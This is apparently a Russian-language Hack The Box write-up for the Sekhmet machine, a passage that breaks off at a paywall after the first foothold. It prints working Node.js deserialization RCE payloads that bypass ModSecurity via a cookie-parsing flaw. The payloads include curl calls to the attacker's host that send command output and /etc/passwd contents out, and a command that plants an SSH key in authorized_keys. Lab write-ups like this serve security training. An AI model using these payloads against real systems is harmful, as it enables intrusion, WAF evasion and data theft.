В этом рай­тапе я покажу, как экс­плу­ати­ровать уяз­вимость при десери­али­зации Node.js с обхо­дом ModSecurity. Затем взло­маем ZIP-архив и бла­года­ря Kerberos повысим при­виле­гии на пер­вом хос­те. Пос­ле это­го зах­ватим кон­трол­лер домена, про­экс­плу­ати­ровав RCE.

Все это — в рам­ках про­хож­дения тре­ниро­воч­ной машины Sekhmet с пло­щад­ки Hack The Box. Ее уро­вень слож­ности — «безум­ный».

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

Пер­вым делом добав­ляем IP-адрес машины в /etc/hosts:

10.10.11.179 sekhmet.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ви­дим два откры­тых пор­та: 22 — служ­ба OpenSSH 8.4p1 и 80 — веб‑сер­вер Nginx 1.18.0. При обра­щении к веб‑сер­веру сра­зу выпол­няет­ся редирект на дру­гой домен.

Burp History
Burp History

До­бав­ляем его в файл /etc/hosts и сно­ва обра­щаем­ся к сай­ту.

10.10.11.179 sekhmet.htb windcorp.htb
Главная страница сайта windcorp.htb
Глав­ная стра­ница сай­та windcorp.htb
 

Точка входа

На сай­те ничего инте­рес­ного не находим. Но, учи­тывая, что мы наш­ли реаль­ное домен­ное имя, есть смысл прос­каниро­вать под­домены. Я это делаю с помощью ска­нера ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -r — выпол­нять редирек­ты;
  • -fs — филь­тро­вать стра­ницы по раз­меру;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Мес­то перебо­ра помеча­ется сло­вом FUZZ.

По­луча­ется вот такая коман­да:

ffuf -u 'http://windcorp.htb/' -H 'Host: FUZZ.windcorp.htb' -w subdomains-top1million-110000.txt -t 256 -fs 153
Результат сканирования поддоменов с помощью ffuf
Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

В ито­ге находим еще один сайт и добав­ляем его в файл /etc/hosts.

10.10.11.179 sekhmet.htb windcorp.htb portal.windcorp.htb
Страница авторизации на portal.windcorp.htb
Стра­ница авто­риза­ции на portal.windcorp.htb

Сле­дующее дей­ствие при изу­чении сай­та — поиск скры­тых катало­гов и стра­ниц. Я сно­ва поп­робовал исполь­зовать ffuf, но это не дало резуль­татов, так как, ско­рее все­го, про­веря­ются заголов­ки. Что­бы не мучить­ся с ними, я стал ска­ниро­вать при помощи Burp Intruder.

Результат сканирования каталогов в Burp Intruder
Ре­зуль­тат ска­ниро­вания катало­гов в Burp Intruder

И сно­ва ничего инте­рес­ного. У нас оста­лась толь­ко фор­ма авто­риза­ции, поэто­му поп­робу­ем ее обой­ти. Нас­коль­ко велико было мое удив­ление, ког­да получи­лось авто­ризо­вать­ся с логином и паролем admin:admin!

Главная страница авторизованного пользователя
Глав­ная стра­ница авто­ризо­ван­ного поль­зовате­ля

За­тем мое вни­мание прив­лекли cookie поль­зовате­ля. Ока­залось, что это закоди­рован­ные в Base64 дан­ные в фор­мате JSON. В целом по виду cookie очень похоже, что исполь­зует­ся Node.js. И мы можем утвер­ждать, что на сто­роне сер­вера про­исхо­дит десери­али­зация и исполь­зование этих дан­ных.

Декодирование cookie в Burp Inspector
Де­коди­рова­ние cookie в Burp Inspector

Поп­робу­ем поис­кать под­ходящие уяз­вимос­ти. Я без тру­да нагуг­лил статью Exploiting Node.js deserialization bug for Remote Code Execution, где опи­сано, как выявить и про­экс­плу­ати­ровать уяз­вимость при десери­али­зации дан­ных в Node.js. Я соб­рал и закоди­ровал наг­рузку, сле­дуя рекомен­даци­ям из статьи, но мой зап­рос был заб­локиро­ван.

Сообщение о блокировке запроса
Со­обще­ние о бло­киров­ке зап­роса

В тек­сте стра­ницы находим упо­мина­ние ModSecurity, который и бло­киру­ет нам дос­туп.

Информация о защите сайта
Ин­форма­ция о защите сай­та

Это оче­ред­ное зве­но цепоч­ки, про­дол­жаем раз­бирать­ся с сай­том и вник­нем в Node.js более под­робно.

 

Точка опоры

 

Node.js RCE + байпас ModSecurity

ModSecurity — это WAF с откры­тым исходным кодом. Имен­но ModSecurity не дает нам подоб­рать­ся к при­ложе­нию. Но иног­да и в самих WAF находят уяз­вимос­ти. Так, быс­трый поиск в Google вывел меня на статью, где рас­ска­зано о CVE-2019-19886, поз­воля­ющей обой­ти ModSecurity. Уда­лось даже най­ти целый PoC для этой уяз­вимос­ти. Ее смысл зак­люча­ется в том, что мы исполь­зуем ошиб­ку в пар­сере ModSecurity и как бы пря­чем наг­рузку, переда­вая cookie param=payload сле­дующим обра­зом:

param=payload=real_value

Тог­да при­ложе­ние рас­парсит куки как param:payload, а WAF — как param:payload=value, что поз­волит миновать филь­тры.

Для экс­плу­ата­ции RCE в Node.js нам нуж­но передать наг­рузку через параметр username в сле­дующей конс­трук­ции:

{"username":"_$$ND_FUNC$$_function(){}()"}

За­тем закоди­руем ее в Base64 и вста­вим в cookie как profile=payload=value.

Пер­вым делом откро­ем лис­тенер nc -nlvp 80 и поп­робу­ем выпол­нить зап­рос на свой сер­вер через curl:

{"username":"_$$ND_FUNC$$_function(){require("child_process").exec("curl http://10.10.14.29", function(error, stdout, stderr){});}()"}'
Исходное значение cookie
Ис­ходное зна­чение cookie
Итоговый запрос на сервер
Ито­говый зап­рос на сер­вер
Логи листенера
Ло­ги лис­тенера

В ито­ге на наш лис­тенер при­шел зап­рос, а это зна­чит, что мы добились RCE. Выпол­нить реверс‑шелл не получи­лось, поэто­му поп­робу­ем записать ключ SSH. Нам нуж­но знать имя поль­зовате­ля, которо­го мы исполь­зуем для выпол­нения команд. Его мож­но эксфиль­тро­вать, закоди­ровав в Base64 резуль­тат выпол­нения коман­ды id и вста­вив его как URI.

{"username":"_$$ND_FUNC$$_function(){ require("child_process").exec("curl http://10.10.14.29/$(id|base64 -w0)", function(error, stdout, stderr){});}()"}
Логи листенера
Ло­ги лис­тенера
Логи листенера
Ло­ги лис­тенера

Так мы получа­ем имя текуще­го поль­зовате­ля. Теперь узна­ем, име­ет ли он дос­туп к коман­дной обо­лоч­ке, для чего получим запись из фай­ла /etc/passwd.

{"username":"_$$ND_FUNC$$_function(){ require("child_process").exec("curl http://10.10.14.29/$(cat /etc/passwd| grep webster|base64 -w0)", function(error, stdout, stderr){});}()"}
Логи листенера
Ло­ги лис­тенера

Поль­зователь име­ет коман­дную обо­лоч­ку, теперь можем записы­вать ключ SSH. Для это­го сге­нери­руем пару клю­чей с помощью ssh-keygen и запус­тим в катало­ге с клю­чами веб‑сер­вер Python 3:

python3 -m http.server 80

За­тем ска­чаем ключ и запишем в файл authorized_keys.

{"username":"_$$ND_FUNC$$_function(){require("child_process").exec("curl http://10.10.14.29/id_rsa.pub > ~/.ssh/authorized_keys", function(error, stdout, stderr){});}()"}

Как толь­ко в логах веб‑сер­вера уви­дим обра­щение к пуб­лично­му клю­чу, мож­но авто­ризо­вать­ся по SSH.

Сессия пользователя webserver
Сес­сия поль­зовате­ля webserver
 

Продвижение WEBSERVER.windcorp.htb

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии